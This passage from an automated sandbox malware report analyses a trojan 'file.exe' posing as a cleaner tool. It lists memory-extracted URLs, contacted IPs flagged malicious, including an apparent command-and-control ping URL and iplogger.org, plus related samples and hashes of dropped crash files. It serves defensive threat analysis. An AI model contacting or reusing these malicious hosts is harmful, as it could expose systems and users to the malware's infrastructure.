http://www.sajatypeworks.com	Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428357477.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428374052.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428388847.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/.T	Cleaner.exe, 00000016.00000003.434593062.000001CFE1B28000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn.TTF	Cleaner.exe, 00000016.00000003.432353861.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com(	Cleaner.exe, 00000016.00000003.437840133.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437639112.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.typography.net	Cleaner.exe, 00000016.00000003.429063853.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.comtr	Cleaner.exe, 00000016.00000003.428388847.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Cleaner.exe, 00000016.00000003.430026733.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.de	Cleaner.exe, 00000016.00000003.436737283.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.436633622.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.436859788.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437363653.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437170500.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437117752.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437064705.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.436930103.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.437229886.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Cleaner.exe, 00000016.00000003.432353861.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Cleaner.exe, 00000016.00000002.565355076.000001CFC95BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersp	Cleaner.exe, 00000016.00000003.439268166.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439104249.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439219729.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439012764.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.438961213.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.439161982.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designerso	Cleaner.exe, 00000016.00000003.447075330.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Cleaner.exe, 00000016.00000003.437639112.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/.TTC	Cleaner.exe, 00000016.00000003.434380388.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434233291.000001CFE1B29000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comH_	Cleaner.exe, 00000016.00000003.436987400.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.sakkal.comI	Cleaner.exe, 00000016.00000003.435071712.000001CFE1B28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.comq	Cleaner.exe, 00000016.00000003.431705459.000001CFE1B20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/F	Cleaner.exe, 00000016.00000003.434005148.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&subst	file.exe, 00000000.00000000.352480046.000000000019B000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.396800531.0000000003B36000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.364648566.00000000031C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.390225598.0000000003712000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.393566637.000000000371E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395142031.0000000003B1B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392148582.00000000038FD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.389580944.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.398066889.0000000003B63000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.394103173.0000000003913000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392869347.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397700050.0000000003934000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.396385601.0000000003924000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395883295.000000000371B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397228041.0000000003718000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.399409682.0000000003716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.365552738.0000000003080000.00000004.00000800.00020000.00000000.sdmp, soft[1].0.dr, Cleaner.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://iplogger.org	Cleaner.exe, 00000016.00000002.565355076.000001CFC95BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.comd:	Cleaner.exe, 00000016.00000003.428357477.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.428374052.000001CFE1B2F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.orgx	Cleaner.exe, 00000016.00000002.565404043.000001CFC95CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/	Cleaner.exe, 00000016.00000003.431228141.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.431179686.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430147464.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://iplogger.org	Cleaner.exe, 00000016.00000002.565434475.000001CFC95D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	Cleaner.exe, 00000016.00000003.430687491.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430832292.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430600821.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430933717.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430979463.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430553370.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430753328.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.431021568.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Cleaner.exe, 00000016.00000003.438267437.000001CFE1B50000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netad	Cleaner.exe, 00000016.00000003.429063853.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g-cleanit.hk	file.exe, 00000000.00000003.396800531.0000000003B36000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.364648566.00000000031C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.390225598.0000000003712000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.393566637.000000000371E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395142031.0000000003B1B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392148582.00000000038FD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.389580944.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.398066889.0000000003B63000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.394103173.0000000003913000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.392869347.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397700050.0000000003934000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.396385601.0000000003924000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.395883295.000000000371B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.397228041.0000000003718000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.399409682.0000000003716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.365552738.0000000003080000.00000004.00000800.00020000.00000000.sdmp, soft[1].0.dr, Cleaner.exe.0.dr	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Cleaner.exe, 00000016.00000003.434754929.000001CFE1B28000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434233291.000001CFE1B29000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434991979.000001CFE1B2E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.comcom	Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/	Cleaner.exe, 00000016.00000003.436930103.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.monotype.9	Cleaner.exe, 00000016.00000003.444449589.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.444320811.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
148.251.234.83	iplogger.org	Germany		24940	HETZNER-ASDE	false
208.67.104.97	unknown	United States		20042	GRAYSON-COLLIN-COMMUNICATIONSUS	true
85.31.46.167	unknown	Germany		43659	CLOUDCOMPUTINGDE	true
107.182.129.235	unknown	Reserved		11070	META-ASUS	false
171.22.30.106	unknown	Germany		33657	CMCSUS	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	715158
Start date and time:	2022-10-03 17:28:33 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.winEXE@21/51@1/5
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 94% Number of executed functions: 102 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Execution Graph export aborted for target Cleaner.exe, PID 5208 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:30:22	API Interceptor	1x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
148.251.234.83	fea.exe	Get hash	malicious	Browse	iplogger.org/1WSpq7
	e4.exe	Get hash	malicious	Browse	iplogger.org/1fEwd7
	rFRgieWgV9.exe	Get hash	malicious	Browse	iplogger.org/1I0jB.torrent
	wKipJe57sn.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	03INSdtIoI.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	77284b3cbc32cafcd4aa5d222d0a0ecb92d72d465f8b2.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	B9BA3633E6AE613C553BB7311AFFB973B5D3C5F41DE5A.exe	Get hash	malicious	Browse	iplogger.org/1YKyj7
	0153AD4D1224B9A37B2EB3264EA7F8685828AB18C9C49.exe	Get hash	malicious	Browse	iplogger.org/1YZyj7
	585be0c57969f505e1ce900d1c0a7c10fc9f69a0e2e36.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	Fza7TPh6Z7.exe	Get hash	malicious	Browse	iplogger.org/1fEwd7
	u7Ib2JQQZL.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	1XdtZLPD3f.exe	Get hash	malicious	Browse	iplogger.org/1szwr7
	6Mt29QRW0p.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	ANOTHER.exe	Get hash	malicious	Browse	iplogger.org/1asSq7
	HKoLuz7ekJ.exe	Get hash	malicious	Browse	iplogger.org/1dnc57
	yLuLadKu7U.exe	Get hash	malicious	Browse	iplogger.org/1dnc57
	4618FB57958C19496E668916D769CB40E6BB0A0AF0FBB.exe	Get hash	malicious	Browse	iplogger.org/1kB597
	045A93EE4AA61FD3BB2C7F706085A249B9664876B7A2E.exe	Get hash	malicious	Browse	iplogger.org/1kB597
	i864x__setup__62257ec67f6ca.exe	Get hash	malicious	Browse	iplogger.org/1jiiu7
	WBIy6QzxFS.exe	Get hash	malicious	Browse	iplogger.org/1m2gj7.gz

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
iplogger.org	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	file.exe	Get hash	malicious	Browse	148.251.234.83
	Redriverbank-565463565463-565463.html	Get hash	malicious	Browse	135.181.125.9
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	IMG-ZIRAATI03102022.exe	Get hash	malicious	Browse	144.76.120.25
	file.exe	Get hash	malicious	Browse	148.251.234.83
	http://857393058784358684939586839.com	Get hash	malicious	Browse	5.161.130.207
	file.exe	Get hash	malicious	Browse	148.251.234.83
	http://857393058784358684939586839.com	Get hash	malicious	Browse	5.161.130.207
	1F5u1OLUIL.exe	Get hash	malicious	Browse	144.76.136.153
	http://89743677348987793490832904.xyz	Get hash	malicious	Browse	5.161.130.207
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	VkDJ.exe	Get hash	malicious	Browse	49.12.160.144
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Xezmjebyq.exe	Get hash	malicious	Browse	148.251.234.83
	SecuriteInfo.com.Trojan.DownLoaderNET.476.27917.25504.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	cmGC87EqFi.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	URGENT REQUIREMENT.exe	Get hash	malicious	Browse	148.251.234.83
	IMG-ZIRAATI03102022.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	PO-13466.vbs	Get hash	malicious	Browse	148.251.234.83
	Inquiry list.exe	Get hash	malicious	Browse	148.251.234.83
	PO ZY-ZXM-2022092901.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83
	file.exe	Get hash	malicious	Browse	148.251.234.83

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1]	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_05057d34\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8413921404242342
Encrypted:	false
SSDEEP:	192:0+G1Vfav7FH56rrE3jDB/u7swS274It1hBx:a2x56rwjl/u7swX4ItN
MD5:	AE8AE64294D6FA52CF25B72CCFA9B424
SHA1:	67CFC19720494D42E2FE8A0CDABD5474ACACC806
SHA-256:	E4029CF442A03D5230EE45AB951E41873E62F55561C138A958C2E78141247714
SHA-512:	EE9FF764AE2408CAD8E2CBB2D5A5985D314D7BBDD70F1F55C878C31036775EC9D7A4DB5BAC50D6C4C892BE313B0AEF5B656912BC6288C94E240762F2CC20550B
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.7.4.7.2.3.0.7.6.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.8.6.6.8.d.c.7.-.e.8.b.6.-.4.7.a.d.-.b.f.4.9.-.e.6.7.9.9.6.0.b.5.5.3.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.b.7.a.f.1.f.f.-.5.9.2.7.-.4.7.1.e.-.8.6.e.f.-.2.7.5.e.7.2.1.0.6.8.a.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_0789c3c3\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8646212963389045
Encrypted:	false
SSDEEP:	192:QkG1VfavFFH56rrE3jDm/u7swS274It1hBx:C2P56rwjC/u7swX4ItN
MD5:	F06265723A39C280E464EA71CB2340B2
SHA1:	9EF034D5F7C208671F5F02DA0BDFBCF80B7B2450
SHA-256:	5FD7EB50B113154EC744B2F5E5B4679A5837B3198F3235B96EC6B53C453586F5
SHA-512:	CE44A524F15E5EFD1F34DE70A1FEFF24FB6352F2F5139C088E023E770E80C811BAEDF05DF7E38C5AFE9DA542161DB9FC8792C9872F915A8D42EAF34B0C16B4B7
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.9.3.1.6.9.9.2.4.0.7.7.2.9.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.b.d.3.1.2.a.3.-.3.8.b.8.-.4.a.d.a.-.a.d.6.5.-.1.f.2.c.1.e.1.7.1.b.6.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.6.6.d.3.f.4.-.9.d.3.6.-.4.7.e.f.-.b.6.3.8.-.0.0.c.c.f.5.7.0.3.e.f.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.7.c.-.0.0.0.1.-.0.0.1.9.-.a.5.7.9.-.e.c.5.c.8.8.d.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.6.5.3.d.e.e.c.5.b.c.5.a.9.c.c.9.7.3.9.f.2.5.f.4.c.2.c.d.7.5.a.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.b.b.0.c.3.5.8.6.b.8.a.0.2.4.4.5.8.5.e.a.c.b.4.4.c.a.1.2.5.a.c.9.3.3.a.d.8.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.1.9.:.1.5.:.0.2.:.4.3.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....S.e.r.v.i.c.e.S.p.l.i.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_43a044097e5f3ef507ce7a9f19c0e6d280fb_440dec59_0fa97499\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8276699661029949
Encrypted:	false
SSDEEP:	192:tG1VfavUFH56rrE3jDk/u7swS274It1hBx:W2c56rwjg/u7swX4ItN
MD5:	8E6DF1FEDD2DCDFEEAD81E751F1E9E30
SHA1:	A28E1D741B8018EAC8302C3631FBD1FB1A1B5C74
SHA-256:	5B387D32E08D4D09C09360B6713B6F2BDC20C4C801BF05A9FA7B335D40AE770F
